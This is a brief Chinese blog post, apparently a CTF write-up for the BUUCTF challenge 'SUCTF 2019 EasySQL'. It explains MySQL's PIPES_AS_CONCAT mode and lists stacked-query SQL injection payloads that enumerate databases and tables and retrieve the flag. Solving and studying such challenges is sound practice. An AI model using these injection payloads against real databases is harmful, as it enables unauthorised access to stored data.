buuctf:[SUCTF 2019]EasySQL 1

根据题目查看,知道是sql注入,但是正常sql注入操作并没有啥用,可以尝试联合注入

1;show databases;

1;show tables;

把"||"变成字符串连接符,而不是或
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat字符就可以设置。(sql_mode设置)

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能。

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

或者

*,1

posted @ 2021-09-08 21:15  微草wd  阅读(140)  评论(0编辑  收藏  举报